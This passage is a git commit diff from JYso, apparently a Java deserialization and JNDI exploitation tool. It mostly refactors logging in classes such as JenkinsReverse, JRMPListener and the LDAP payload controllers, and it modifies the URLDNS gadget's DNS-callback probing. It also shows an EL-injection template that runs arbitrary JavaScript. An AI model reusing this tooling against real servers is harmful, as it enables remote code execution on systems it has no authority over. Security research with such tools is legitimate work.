mirror of
https://github.com/qi4L/JYso.git
synced 2026-09-25 16:21:52 +08:00
fix: 修复urldns链bug,修复日志打印bug
This commit is contained in:
+7
-2
@@ -19,14 +19,20 @@ repositories {
|
|||||||
shadowJar {
|
shadowJar {
|
||||||
archiveClassifier = ''
|
archiveClassifier = ''
|
||||||
zip64 = true
|
zip64 = true
|
||||||
minimize()
|
// minimize()
|
||||||
manifest {
|
manifest {
|
||||||
attributes 'Main-Class': 'com.qi4l.JYso.Starter'
|
attributes 'Main-Class': 'com.qi4l.JYso.Starter'
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
configurations.configureEach {
|
||||||
|
exclude group: 'ch.qos.logback', module: 'logback-classic'
|
||||||
|
exclude group: 'ch.qos.logback', module: 'logback-core'
|
||||||
|
}
|
||||||
|
|
||||||
dependencies {
|
dependencies {
|
||||||
|
implementation 'org.apache.logging.log4j:log4j-api:2.20.0'
|
||||||
|
implementation 'org.apache.logging.log4j:log4j-core:2.20.0'
|
||||||
implementation 'cn.hutool:hutool-all:5.7.7'
|
implementation 'cn.hutool:hutool-all:5.7.7'
|
||||||
implementation 'com.alibaba:fastjson:1.2.83'
|
implementation 'com.alibaba:fastjson:1.2.83'
|
||||||
implementation 'com.alibaba.fastjson2:fastjson2:2.0.26'
|
implementation 'com.alibaba.fastjson2:fastjson2:2.0.26'
|
||||||
@@ -51,7 +57,6 @@ dependencies {
|
|||||||
implementation 'org.apache.commons:commons-collections4:4.0'
|
implementation 'org.apache.commons:commons-collections4:4.0'
|
||||||
implementation 'org.apache.commons:commons-lang3:3.12.0'
|
implementation 'org.apache.commons:commons-lang3:3.12.0'
|
||||||
implementation 'org.apache.commons:commons-text:1.8'
|
implementation 'org.apache.commons:commons-text:1.8'
|
||||||
implementation 'org.apache.logging.log4j:log4j-core:2.14.1'
|
|
||||||
implementation 'org.apache.maven.plugins:maven-assembly-plugin:3.0.0'
|
implementation 'org.apache.maven.plugins:maven-assembly-plugin:3.0.0'
|
||||||
implementation 'org.apache.myfaces.core:myfaces-impl:2.2.9'
|
implementation 'org.apache.myfaces.core:myfaces-impl:2.2.9'
|
||||||
implementation 'org.apache.tomcat.embed:tomcat-embed-core:8.5.58'
|
implementation 'org.apache.tomcat.embed:tomcat-embed-core:8.5.58'
|
||||||
|
|||||||
@@ -7,13 +7,13 @@ import com.unboundid.ldap.listener.InMemoryListenerConfig;
|
|||||||
import com.unboundid.util.ssl.KeyStoreKeyManager;
|
import com.unboundid.util.ssl.KeyStoreKeyManager;
|
||||||
import com.unboundid.util.ssl.SSLUtil;
|
import com.unboundid.util.ssl.SSLUtil;
|
||||||
import com.unboundid.util.ssl.TrustAllTrustManager;
|
import com.unboundid.util.ssl.TrustAllTrustManager;
|
||||||
import org.slf4j.Logger;
|
import org.apache.logging.log4j.Logger;
|
||||||
import org.slf4j.LoggerFactory;
|
import org.apache.logging.log4j.LogManager;
|
||||||
|
|
||||||
import static org.fusesource.jansi.Ansi.ansi;
|
import static org.fusesource.jansi.Ansi.ansi;
|
||||||
|
|
||||||
public class LdapsServer {
|
public class LdapsServer {
|
||||||
private static final Logger log = LoggerFactory.getLogger(LdapsServer.class);
|
private static final Logger log = LogManager.getLogger(LdapsServer.class);
|
||||||
private final String certFile;
|
private final String certFile;
|
||||||
private final String keyPass;
|
private final String keyPass;
|
||||||
|
|
||||||
|
|||||||
@@ -4,6 +4,7 @@ import com.qi4l.JYso.enumtypes.GadgetType;
|
|||||||
import com.qi4l.JYso.exceptions.IncorrectParamsException;
|
import com.qi4l.JYso.exceptions.IncorrectParamsException;
|
||||||
import com.qi4l.JYso.exceptions.UnSupportedPayloadTypeException;
|
import com.qi4l.JYso.exceptions.UnSupportedPayloadTypeException;
|
||||||
import com.qi4l.JYso.gadgets.Config.Config;
|
import com.qi4l.JYso.gadgets.Config.Config;
|
||||||
|
import com.qi4l.JYso.gadgets.URLDNS;
|
||||||
import com.qi4l.JYso.gadgets.utils.Gadgets;
|
import com.qi4l.JYso.gadgets.utils.Gadgets;
|
||||||
import com.qi4l.JYso.gadgets.utils.Utils;
|
import com.qi4l.JYso.gadgets.utils.Utils;
|
||||||
import com.qi4l.JYso.gadgets.utils.handle.ClassNameHandler;
|
import com.qi4l.JYso.gadgets.utils.handle.ClassNameHandler;
|
||||||
@@ -12,8 +13,8 @@ import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
|
|||||||
import com.unboundid.ldap.sdk.Entry;
|
import com.unboundid.ldap.sdk.Entry;
|
||||||
import com.unboundid.ldap.sdk.LDAPResult;
|
import com.unboundid.ldap.sdk.LDAPResult;
|
||||||
import com.unboundid.ldap.sdk.ResultCode;
|
import com.unboundid.ldap.sdk.ResultCode;
|
||||||
import org.slf4j.Logger;
|
import org.apache.logging.log4j.Logger;
|
||||||
import org.slf4j.LoggerFactory;
|
import org.apache.logging.log4j.LogManager;
|
||||||
|
|
||||||
import java.net.URL;
|
import java.net.URL;
|
||||||
import java.nio.charset.StandardCharsets;
|
import java.nio.charset.StandardCharsets;
|
||||||
@@ -25,7 +26,7 @@ import static org.fusesource.jansi.Ansi.ansi;
|
|||||||
@LdapMapping(uri = {"/basic"})
|
@LdapMapping(uri = {"/basic"})
|
||||||
public class BasicController implements LdapController {
|
public class BasicController implements LdapController {
|
||||||
|
|
||||||
private static final Logger log = LoggerFactory.getLogger(BasicController.class);
|
private static final Logger log = LogManager.getLogger(BasicController.class);
|
||||||
private static String payloadType;
|
private static String payloadType;
|
||||||
// 用于对外提供动态字节码的 HTTP 服务器基础路径。
|
// 用于对外提供动态字节码的 HTTP 服务器基础路径。
|
||||||
private final String codebase = Config.codeBase;
|
private final String codebase = Config.codeBase;
|
||||||
|
|||||||
@@ -4,6 +4,7 @@ import com.qi4l.JYso.enumtypes.GadgetType;
|
|||||||
import com.qi4l.JYso.exceptions.IncorrectParamsException;
|
import com.qi4l.JYso.exceptions.IncorrectParamsException;
|
||||||
import com.qi4l.JYso.exceptions.UnSupportedPayloadTypeException;
|
import com.qi4l.JYso.exceptions.UnSupportedPayloadTypeException;
|
||||||
import com.qi4l.JYso.gadgets.Config.Config;
|
import com.qi4l.JYso.gadgets.Config.Config;
|
||||||
|
import com.qi4l.JYso.gadgets.URLDNS;
|
||||||
import com.qi4l.JYso.gadgets.utils.Gadgets;
|
import com.qi4l.JYso.gadgets.utils.Gadgets;
|
||||||
import com.qi4l.JYso.gadgets.utils.InjShell;
|
import com.qi4l.JYso.gadgets.utils.InjShell;
|
||||||
import com.qi4l.JYso.gadgets.utils.Utils;
|
import com.qi4l.JYso.gadgets.utils.Utils;
|
||||||
@@ -14,8 +15,8 @@ import com.unboundid.ldap.sdk.LDAPResult;
|
|||||||
import com.unboundid.ldap.sdk.ResultCode;
|
import com.unboundid.ldap.sdk.ResultCode;
|
||||||
import org.apache.naming.ResourceRef;
|
import org.apache.naming.ResourceRef;
|
||||||
import org.fusesource.jansi.Ansi;
|
import org.fusesource.jansi.Ansi;
|
||||||
import org.slf4j.Logger;
|
import org.apache.logging.log4j.Logger;
|
||||||
import org.slf4j.LoggerFactory;
|
import org.apache.logging.log4j.LogManager;
|
||||||
|
|
||||||
import javax.naming.StringRefAddr;
|
import javax.naming.StringRefAddr;
|
||||||
import java.lang.reflect.Field;
|
import java.lang.reflect.Field;
|
||||||
@@ -29,7 +30,7 @@ public class ELProcessorController implements LdapController {
|
|||||||
private static final String SCRIPT_TEMPLATE = "{\"\".getClass().forName(\"javax.script.ScriptEngineManager\")"
|
private static final String SCRIPT_TEMPLATE = "{\"\".getClass().forName(\"javax.script.ScriptEngineManager\")"
|
||||||
+ ".newInstance().getEngineByName(\"JavaScript\")"
|
+ ".newInstance().getEngineByName(\"JavaScript\")"
|
||||||
+ ".eval(\"%s\")}";
|
+ ".eval(\"%s\")}";
|
||||||
private static final Logger log = LoggerFactory.getLogger(ELProcessorController.class);
|
private static final Logger log = LogManager.getLogger(ELProcessorController.class);
|
||||||
|
|
||||||
private String payloadType;
|
private String payloadType;
|
||||||
// 记录解析请求时提取出的命令参数或回连信息。
|
// 记录解析请求时提取出的命令参数或回连信息。
|
||||||
|
|||||||
@@ -13,8 +13,8 @@ import com.unboundid.ldap.sdk.Entry;
|
|||||||
import com.unboundid.ldap.sdk.LDAPResult;
|
import com.unboundid.ldap.sdk.LDAPResult;
|
||||||
import com.unboundid.ldap.sdk.ResultCode;
|
import com.unboundid.ldap.sdk.ResultCode;
|
||||||
import org.fusesource.jansi.Ansi;
|
import org.fusesource.jansi.Ansi;
|
||||||
import org.slf4j.Logger;
|
import org.apache.logging.log4j.Logger;
|
||||||
import org.slf4j.LoggerFactory;
|
import org.apache.logging.log4j.LogManager;
|
||||||
|
|
||||||
import java.io.ByteArrayOutputStream;
|
import java.io.ByteArrayOutputStream;
|
||||||
import java.util.Base64;
|
import java.util.Base64;
|
||||||
@@ -23,7 +23,7 @@ import static com.qi4l.JYso.gadgets.Config.Config.BCEL1;
|
|||||||
|
|
||||||
@LdapMapping(uri = {"/deserialization"})
|
@LdapMapping(uri = {"/deserialization"})
|
||||||
public class SerializedDataController implements LdapController {
|
public class SerializedDataController implements LdapController {
|
||||||
private static final Logger log = LoggerFactory.getLogger(SerializedDataController.class);
|
private static final Logger log = LogManager.getLogger(SerializedDataController.class);
|
||||||
public static String gadgetType;
|
public static String gadgetType;
|
||||||
public static String cmd11;
|
public static String cmd11;
|
||||||
public static GadgetType gadgetType1;
|
public static GadgetType gadgetType1;
|
||||||
|
|||||||
@@ -9,14 +9,14 @@ import com.unboundid.ldap.sdk.Entry;
|
|||||||
import com.unboundid.ldap.sdk.LDAPResult;
|
import com.unboundid.ldap.sdk.LDAPResult;
|
||||||
import com.unboundid.ldap.sdk.ResultCode;
|
import com.unboundid.ldap.sdk.ResultCode;
|
||||||
import org.fusesource.jansi.Ansi;
|
import org.fusesource.jansi.Ansi;
|
||||||
import org.slf4j.Logger;
|
import org.apache.logging.log4j.Logger;
|
||||||
import org.slf4j.LoggerFactory;
|
import org.apache.logging.log4j.LogManager;
|
||||||
|
|
||||||
@LdapMapping(uri = {"/jdbc1"})
|
@LdapMapping(uri = {"/jdbc1"})
|
||||||
public class jdbcController1 implements LdapController {
|
public class jdbcController1 implements LdapController {
|
||||||
|
|
||||||
private static final Logger log = LoggerFactory.getLogger(jdbcController1.class);
|
private static final Logger log = LogManager.getLogger(jdbcController1.class);
|
||||||
private static String payloadType;
|
private static String driverq;
|
||||||
|
|
||||||
private static String factoryType;
|
private static String factoryType;
|
||||||
private static String[] params;
|
private static String[] params;
|
||||||
@@ -29,8 +29,8 @@ public class jdbcController1 implements LdapController {
|
|||||||
if (secondIndex < 0) secondIndex = base.length();
|
if (secondIndex < 0) secondIndex = base.length();
|
||||||
|
|
||||||
try {
|
try {
|
||||||
payloadType = base.substring(fistIndex + 1, secondIndex);
|
driverq = base.substring(fistIndex + 1, secondIndex);
|
||||||
System.out.println(Ansi.ansi().fgBrightMagenta().a(" driver: " + payloadType).reset());
|
System.out.println(Ansi.ansi().fgBrightMagenta().a(" driver: " + driverq).reset());
|
||||||
} catch (IllegalArgumentException e) {
|
} catch (IllegalArgumentException e) {
|
||||||
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + base.substring(fistIndex + 1, secondIndex));
|
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + base.substring(fistIndex + 1, secondIndex));
|
||||||
}
|
}
|
||||||
@@ -66,7 +66,7 @@ public class jdbcController1 implements LdapController {
|
|||||||
public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception {
|
public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception {
|
||||||
try {
|
try {
|
||||||
Entry e = new Entry(base);
|
Entry e = new Entry(base);
|
||||||
String driver = payloadType;
|
String driver = driverq;
|
||||||
String JDBC_URL = params[0];
|
String JDBC_URL = params[0];
|
||||||
|
|
||||||
e.addAttribute("objectClass", "javaNamingReference");
|
e.addAttribute("objectClass", "javaNamingReference");
|
||||||
|
|||||||
@@ -9,8 +9,8 @@ import com.unboundid.ldap.sdk.Entry;
|
|||||||
import com.unboundid.ldap.sdk.LDAPResult;
|
import com.unboundid.ldap.sdk.LDAPResult;
|
||||||
import com.unboundid.ldap.sdk.ResultCode;
|
import com.unboundid.ldap.sdk.ResultCode;
|
||||||
import org.fusesource.jansi.Ansi;
|
import org.fusesource.jansi.Ansi;
|
||||||
import org.slf4j.Logger;
|
import org.apache.logging.log4j.Logger;
|
||||||
import org.slf4j.LoggerFactory;
|
import org.apache.logging.log4j.LogManager;
|
||||||
|
|
||||||
import javax.naming.RefAddr;
|
import javax.naming.RefAddr;
|
||||||
import javax.naming.Reference;
|
import javax.naming.Reference;
|
||||||
@@ -20,7 +20,7 @@ import java.util.Enumeration;
|
|||||||
@LdapMapping(uri = {"/jdbc2"})
|
@LdapMapping(uri = {"/jdbc2"})
|
||||||
public class jdbcController2 implements LdapController {
|
public class jdbcController2 implements LdapController {
|
||||||
|
|
||||||
private static final Logger log = LoggerFactory.getLogger(jdbcController2.class);
|
private static final Logger log = LogManager.getLogger(jdbcController2.class);
|
||||||
private static String payloadType;
|
private static String payloadType;
|
||||||
private static String factoryType;
|
private static String factoryType;
|
||||||
private static String[] params;
|
private static String[] params;
|
||||||
|
|||||||
@@ -5,8 +5,8 @@ import com.qi4l.JYso.gadgets.utils.Reflections;
|
|||||||
import javassist.ClassClassPath;
|
import javassist.ClassClassPath;
|
||||||
import javassist.ClassPool;
|
import javassist.ClassPool;
|
||||||
import javassist.CtClass;
|
import javassist.CtClass;
|
||||||
import org.slf4j.Logger;
|
import org.apache.logging.log4j.Logger;
|
||||||
import org.slf4j.LoggerFactory;
|
import org.apache.logging.log4j.LogManager;
|
||||||
import sun.rmi.transport.TransportConstants;
|
import sun.rmi.transport.TransportConstants;
|
||||||
|
|
||||||
import javax.management.BadAttributeValueExpException;
|
import javax.management.BadAttributeValueExpException;
|
||||||
@@ -31,7 +31,7 @@ import java.util.Arrays;
|
|||||||
})
|
})
|
||||||
public class JRMPListener implements Runnable {
|
public class JRMPListener implements Runnable {
|
||||||
|
|
||||||
private static final Logger log = LoggerFactory.getLogger(JRMPListener.class);
|
private static final Logger log = LogManager.getLogger(JRMPListener.class);
|
||||||
private final int port;
|
private final int port;
|
||||||
|
|
||||||
private final Object payloadObject;
|
private final Object payloadObject;
|
||||||
|
|||||||
@@ -6,8 +6,8 @@ import hudson.remoting.Callable;
|
|||||||
import hudson.remoting.Channel;
|
import hudson.remoting.Channel;
|
||||||
import hudson.remoting.Channel.Mode;
|
import hudson.remoting.Channel.Mode;
|
||||||
import hudson.remoting.ChannelBuilder;
|
import hudson.remoting.ChannelBuilder;
|
||||||
import org.slf4j.Logger;
|
import org.apache.logging.log4j.Logger;
|
||||||
import org.slf4j.LoggerFactory;
|
import org.apache.logging.log4j.LogManager;
|
||||||
|
|
||||||
import javax.net.SocketFactory;
|
import javax.net.SocketFactory;
|
||||||
import java.io.DataOutputStream;
|
import java.io.DataOutputStream;
|
||||||
@@ -33,7 +33,7 @@ import java.util.concurrent.Executors;
|
|||||||
*/
|
*/
|
||||||
public class JenkinsCLI {
|
public class JenkinsCLI {
|
||||||
|
|
||||||
private static final Logger log = LoggerFactory.getLogger(JenkinsCLI.class);
|
private static final Logger log = LogManager.getLogger(JenkinsCLI.class);
|
||||||
|
|
||||||
public static void main(final String[] args) throws Exception {
|
public static void main(final String[] args) throws Exception {
|
||||||
if (args.length < 5) {
|
if (args.length < 5) {
|
||||||
|
|||||||
@@ -6,8 +6,8 @@ import com.qi4l.JYso.gadgets.utils.Reflections;
|
|||||||
import hudson.remoting.Callable;
|
import hudson.remoting.Callable;
|
||||||
import hudson.remoting.Channel;
|
import hudson.remoting.Channel;
|
||||||
import hudson.remoting.JarLoader;
|
import hudson.remoting.JarLoader;
|
||||||
import org.slf4j.Logger;
|
import org.apache.logging.log4j.Logger;
|
||||||
import org.slf4j.LoggerFactory;
|
import org.apache.logging.log4j.LogManager;
|
||||||
import sun.rmi.server.Util;
|
import sun.rmi.server.Util;
|
||||||
import sun.rmi.transport.TransportConstants;
|
import sun.rmi.transport.TransportConstants;
|
||||||
|
|
||||||
@@ -45,7 +45,7 @@ import java.rmi.activation.ActivationInstantiator;
|
|||||||
})
|
})
|
||||||
public class JenkinsListener {
|
public class JenkinsListener {
|
||||||
|
|
||||||
private static final Logger log = LoggerFactory.getLogger(JenkinsListener.class);
|
private static final Logger log = LogManager.getLogger(JenkinsListener.class);
|
||||||
|
|
||||||
public static void main(final String[] args) {
|
public static void main(final String[] args) {
|
||||||
|
|
||||||
|
|||||||
@@ -3,8 +3,8 @@ package com.qi4l.JYso.exploit;
|
|||||||
import com.qi4l.JYso.gadgets.Config.ysoserial;
|
import com.qi4l.JYso.gadgets.Config.ysoserial;
|
||||||
import com.qi4l.JYso.gadgets.JRMPClient;
|
import com.qi4l.JYso.gadgets.JRMPClient;
|
||||||
import hudson.remoting.Channel;
|
import hudson.remoting.Channel;
|
||||||
import org.slf4j.Logger;
|
import org.apache.logging.log4j.Logger;
|
||||||
import org.slf4j.LoggerFactory;
|
import org.apache.logging.log4j.LogManager;
|
||||||
|
|
||||||
import java.io.IOException;
|
import java.io.IOException;
|
||||||
import java.net.InetSocketAddress;
|
import java.net.InetSocketAddress;
|
||||||
@@ -24,7 +24,7 @@ import java.util.Random;
|
|||||||
*/
|
*/
|
||||||
public class JenkinsReverse {
|
public class JenkinsReverse {
|
||||||
|
|
||||||
private static final Logger log = LoggerFactory.getLogger(JenkinsReverse.class);
|
private static final Logger log = LogManager.getLogger(JenkinsReverse.class);
|
||||||
|
|
||||||
public static void main(final String[] args) throws Exception {
|
public static void main(final String[] args) throws Exception {
|
||||||
if (args.length < 4) {
|
if (args.length < 4) {
|
||||||
|
|||||||
@@ -7,8 +7,8 @@ import com.qi4l.JYso.gadgets.utils.Serializer;
|
|||||||
import com.qi4l.JYso.gadgets.utils.StringUtil;
|
import com.qi4l.JYso.gadgets.utils.StringUtil;
|
||||||
import com.qi4l.JYso.gadgets.utils.dirty.DirtyDataWrapper;
|
import com.qi4l.JYso.gadgets.utils.dirty.DirtyDataWrapper;
|
||||||
import org.apache.commons.cli.*;
|
import org.apache.commons.cli.*;
|
||||||
import org.slf4j.Logger;
|
import org.apache.logging.log4j.Logger;
|
||||||
import org.slf4j.LoggerFactory;
|
import org.apache.logging.log4j.LogManager;
|
||||||
|
|
||||||
import java.io.ByteArrayOutputStream;
|
import java.io.ByteArrayOutputStream;
|
||||||
import java.io.OutputStream;
|
import java.io.OutputStream;
|
||||||
@@ -21,7 +21,7 @@ import static com.qi4l.JYso.gadgets.utils.StringUtil.isFromExploit;
|
|||||||
|
|
||||||
public class ysoserial {
|
public class ysoserial {
|
||||||
|
|
||||||
private static final Logger log = LoggerFactory.getLogger(ysoserial.class);
|
private static final Logger log = LogManager.getLogger(ysoserial.class);
|
||||||
public static CommandLine cmdLine;
|
public static CommandLine cmdLine;
|
||||||
public static Object PAYLOAD = null;
|
public static Object PAYLOAD = null;
|
||||||
|
|
||||||
|
|||||||
@@ -4,8 +4,8 @@ import com.fasterxml.jackson.databind.node.POJONode;
|
|||||||
import javassist.ClassPool;
|
import javassist.ClassPool;
|
||||||
import javassist.CtClass;
|
import javassist.CtClass;
|
||||||
import javassist.CtMethod;
|
import javassist.CtMethod;
|
||||||
import org.slf4j.Logger;
|
import org.apache.logging.log4j.Logger;
|
||||||
import org.slf4j.LoggerFactory;
|
import org.apache.logging.log4j.LogManager;
|
||||||
|
|
||||||
import javax.management.BadAttributeValueExpException;
|
import javax.management.BadAttributeValueExpException;
|
||||||
import javax.naming.CompositeName;
|
import javax.naming.CompositeName;
|
||||||
@@ -15,7 +15,7 @@ import java.lang.reflect.Field;
|
|||||||
|
|
||||||
@SuppressWarnings({"rawtypes", "unchecked","unused"})
|
@SuppressWarnings({"rawtypes", "unchecked","unused"})
|
||||||
public class JacksonLdapAttr implements ObjectPayload<Object> {
|
public class JacksonLdapAttr implements ObjectPayload<Object> {
|
||||||
private static final Logger log = LoggerFactory.getLogger(JacksonLdapAttr.class);
|
private static final Logger log = LogManager.getLogger(JacksonLdapAttr.class);
|
||||||
|
|
||||||
@Override
|
@Override
|
||||||
public Object getObject(String command) throws Exception {
|
public Object getObject(String command) throws Exception {
|
||||||
|
|||||||
@@ -2,6 +2,8 @@ package com.qi4l.JYso.gadgets;
|
|||||||
|
|
||||||
import com.qi4l.JYso.gadgets.annotation.Authors;
|
import com.qi4l.JYso.gadgets.annotation.Authors;
|
||||||
import com.qi4l.JYso.gadgets.annotation.Dependencies;
|
import com.qi4l.JYso.gadgets.annotation.Dependencies;
|
||||||
|
import org.apache.logging.log4j.LogManager;
|
||||||
|
import org.apache.logging.log4j.Logger;
|
||||||
|
|
||||||
import java.lang.reflect.Field;
|
import java.lang.reflect.Field;
|
||||||
import java.net.URL;
|
import java.net.URL;
|
||||||
@@ -38,6 +40,7 @@ import java.util.List;
|
|||||||
@Dependencies()
|
@Dependencies()
|
||||||
@Authors({Authors.GEBL})
|
@Authors({Authors.GEBL})
|
||||||
public class URLDNS implements ObjectPayload<Object> {
|
public class URLDNS implements ObjectPayload<Object> {
|
||||||
|
private static final Logger log = LogManager.getLogger(URLDNS.class);
|
||||||
public static String[] defaultClass = new String[]{
|
public static String[] defaultClass = new String[]{
|
||||||
"CommonsCollections13567",
|
"CommonsCollections13567",
|
||||||
"CommonsCollections24",
|
"CommonsCollections24",
|
||||||
@@ -534,19 +537,30 @@ public class URLDNS implements ObjectPayload<Object> {
|
|||||||
break;
|
break;
|
||||||
case "winlinux":
|
case "winlinux":
|
||||||
//windows/linux版本判断
|
//windows/linux版本判断
|
||||||
Object linux = getURLDNSGadget("linux." + dnsLog, "sun.awt.X11.AwtGraphicsConfigData");
|
|
||||||
Object windows = getURLDNSGadget("windows." + dnsLog, "sun.awt.windows.WButtonPeer");
|
String os = System.getProperty("os.name").toLowerCase();
|
||||||
Object linux1 = getURLDNSGadget("linux." + dnsLog, "java.io.UnixFileSystem");
|
String fsClass;
|
||||||
Object windows1 = getURLDNSGadget("windows." + dnsLog, "java.io.WinNTFileSystem");
|
|
||||||
list.add(linux);
|
if (os.contains("win")) {
|
||||||
list.add(windows);
|
Object linux = getURLDNSGadget("linux." + dnsLog, "sun.awt.X11.AwtGraphicsConfigData");
|
||||||
list.add(linux1);
|
Object windows = getURLDNSGadget("windows." + dnsLog, "sun.awt.windows.WButtonPeer");
|
||||||
list.add(windows1);
|
list.add(linux);
|
||||||
|
list.add(windows);
|
||||||
|
} else {
|
||||||
|
Object linux1 = getURLDNSGadget("linux1." + dnsLog, "java.io.UnixFileSystem");
|
||||||
|
Object windows1 = getURLDNSGadget("windows1." + dnsLog, "java.io.WinNTFileSystem");
|
||||||
|
list.add(linux1);
|
||||||
|
list.add(windows1);
|
||||||
|
}
|
||||||
break;
|
break;
|
||||||
|
|
||||||
case "all":
|
case "all":
|
||||||
for (String aClass : defaultClass) {
|
try {
|
||||||
setList(aClass, dnsLog);
|
for (String aClass : defaultClass) {
|
||||||
|
setList(aClass, dnsLog);
|
||||||
|
}
|
||||||
|
} catch (Exception e) {
|
||||||
|
log.error("e: ", e);
|
||||||
}
|
}
|
||||||
break;
|
break;
|
||||||
default:
|
default:
|
||||||
@@ -583,7 +597,6 @@ public class URLDNS implements ObjectPayload<Object> {
|
|||||||
case "db":
|
case "db":
|
||||||
setList("db", url);
|
setList("db", url);
|
||||||
break;
|
break;
|
||||||
// all 会测试全部类
|
|
||||||
case "jndiAttack":
|
case "jndiAttack":
|
||||||
setList("jndiAttack", url);
|
setList("jndiAttack", url);
|
||||||
break;
|
break;
|
||||||
@@ -602,7 +615,6 @@ public class URLDNS implements ObjectPayload<Object> {
|
|||||||
|
|
||||||
case "null":
|
case "null":
|
||||||
return getURLDNSGadget(url, null);
|
return getURLDNSGadget(url, null);
|
||||||
// 默认指定类
|
|
||||||
default:
|
default:
|
||||||
setList(tYPE, url);
|
setList(tYPE, url);
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -28,7 +28,7 @@ import static com.qi4l.JYso.gadgets.utils.Utils.makeMap;
|
|||||||
@SuppressWarnings({"rawtypes", "unchecked","unused"})
|
@SuppressWarnings({"rawtypes", "unchecked","unused"})
|
||||||
public class springFs implements ObjectPayload<Object>, Serializable {
|
public class springFs implements ObjectPayload<Object>, Serializable {
|
||||||
public static ClassPool pool = ClassPool.getDefault();
|
public static ClassPool pool = ClassPool.getDefault();
|
||||||
// jdk7下使用badAttributeValueExpException,jdk8以上使用xString可打高版本JDK(jdk17)
|
// jdk17下使用badAttributeValueExpException,jdk8以上使用xString可打高版本JDK(jdk17)
|
||||||
public String toString = "badAttributeValueExpException";
|
public String toString = "badAttributeValueExpException";
|
||||||
// 低版本Spring-beans <5.3 -8835275493235412717
|
// 低版本Spring-beans <5.3 -8835275493235412717
|
||||||
// 高版本Spring-beans >=5.3 -1515767093960859525"
|
// 高版本Spring-beans >=5.3 -1515767093960859525"
|
||||||
|
|||||||
@@ -2,8 +2,8 @@ package com.qi4l.JYso.gadgets.utils;
|
|||||||
|
|
||||||
import com.qi4l.JYso.gadgets.Config.Config;
|
import com.qi4l.JYso.gadgets.Config.Config;
|
||||||
import javassist.*;
|
import javassist.*;
|
||||||
import org.slf4j.Logger;
|
import org.apache.logging.log4j.Logger;
|
||||||
import org.slf4j.LoggerFactory;
|
import org.apache.logging.log4j.LogManager;
|
||||||
|
|
||||||
import java.io.File;
|
import java.io.File;
|
||||||
import java.io.IOException;
|
import java.io.IOException;
|
||||||
@@ -13,7 +13,7 @@ import java.nio.file.Paths;
|
|||||||
|
|
||||||
public class ClassByteChange {
|
public class ClassByteChange {
|
||||||
|
|
||||||
private static final Logger log = LoggerFactory.getLogger(ClassByteChange.class);
|
private static final Logger log = LogManager.getLogger(ClassByteChange.class);
|
||||||
|
|
||||||
public static void main(String[] args) {
|
public static void main(String[] args) {
|
||||||
try {
|
try {
|
||||||
|
|||||||
@@ -2,14 +2,14 @@ package com.qi4l.JYso.gadgets.utils;
|
|||||||
|
|
||||||
import com.qi4l.JYso.gadgets.Config.Config;
|
import com.qi4l.JYso.gadgets.Config.Config;
|
||||||
import javassist.*;
|
import javassist.*;
|
||||||
import org.slf4j.Logger;
|
import org.apache.logging.log4j.Logger;
|
||||||
import org.slf4j.LoggerFactory;
|
import org.apache.logging.log4j.LogManager;
|
||||||
|
|
||||||
import static com.qi4l.JYso.gadgets.Config.Config.POOL;
|
import static com.qi4l.JYso.gadgets.Config.Config.POOL;
|
||||||
|
|
||||||
public class InjShell {
|
public class InjShell {
|
||||||
|
|
||||||
private static final Logger log = LoggerFactory.getLogger(InjShell.class);
|
private static final Logger log = LogManager.getLogger(InjShell.class);
|
||||||
|
|
||||||
// 恶心一下人,实际没用
|
// 恶心一下人,实际没用
|
||||||
public static String converString(String target) {
|
public static String converString(String target) {
|
||||||
|
|||||||
@@ -8,14 +8,14 @@ import java.util.ArrayList;
|
|||||||
import java.util.HashMap;
|
import java.util.HashMap;
|
||||||
import java.util.List;
|
import java.util.List;
|
||||||
import java.util.Map;
|
import java.util.Map;
|
||||||
import org.slf4j.Logger;
|
import org.apache.logging.log4j.Logger;
|
||||||
import org.slf4j.LoggerFactory;
|
import org.apache.logging.log4j.LogManager;
|
||||||
|
|
||||||
@SuppressWarnings({"rawtypes", "unchecked","unused"})
|
@SuppressWarnings({"rawtypes", "unchecked","unused"})
|
||||||
public class ThirdLibsClassLoader extends URLClassLoader {
|
public class ThirdLibsClassLoader extends URLClassLoader {
|
||||||
public static final String thirdLibDir = "chains-config/third-libs";
|
public static final String thirdLibDir = "chains-config/third-libs";
|
||||||
private static final String commonDir = "common";
|
private static final String commonDir = "common";
|
||||||
private static final Logger log = LoggerFactory.getLogger(ThirdLibsClassLoader.class);
|
private static final Logger log = LogManager.getLogger(ThirdLibsClassLoader.class);
|
||||||
private static ThirdLibsClassLoader INSTANCE = null;
|
private static ThirdLibsClassLoader INSTANCE = null;
|
||||||
private static boolean initialized = false;
|
private static boolean initialized = false;
|
||||||
private static Map<String, URLClassLoader> pluginClassLoaderMap = new HashMap();
|
private static Map<String, URLClassLoader> pluginClassLoaderMap = new HashMap();
|
||||||
|
|||||||
@@ -5,8 +5,8 @@ import javassist.CannotCompileException;
|
|||||||
import javassist.ClassPool;
|
import javassist.ClassPool;
|
||||||
import javassist.CtClass;
|
import javassist.CtClass;
|
||||||
import org.apache.commons.codec.binary.Base64;
|
import org.apache.commons.codec.binary.Base64;
|
||||||
import org.slf4j.Logger;
|
import org.apache.logging.log4j.Logger;
|
||||||
import org.slf4j.LoggerFactory;
|
import org.apache.logging.log4j.LogManager;
|
||||||
|
|
||||||
import java.io.*;
|
import java.io.*;
|
||||||
import java.lang.reflect.Field;
|
import java.lang.reflect.Field;
|
||||||
@@ -28,7 +28,7 @@ import static com.qi4l.JYso.gadgets.utils.handle.GlassHandler.shrinkBytes;
|
|||||||
|
|
||||||
@SuppressWarnings({"unused"})
|
@SuppressWarnings({"unused"})
|
||||||
public class Utils {
|
public class Utils {
|
||||||
private static final Logger log = LoggerFactory.getLogger(Utils.class);
|
private static final Logger log = LogManager.getLogger(Utils.class);
|
||||||
|
|
||||||
public static Map<String, Object> createMap(final String key, final Object val) {
|
public static Map<String, Object> createMap(final String key, final Object val) {
|
||||||
final Map<String, Object> map = new HashMap<>();
|
final Map<String, Object> map = new HashMap<>();
|
||||||
|
|||||||
@@ -1,7 +1,7 @@
|
|||||||
package com.qi4l.JYso.gadgets.utils;
|
package com.qi4l.JYso.gadgets.utils;
|
||||||
|
|
||||||
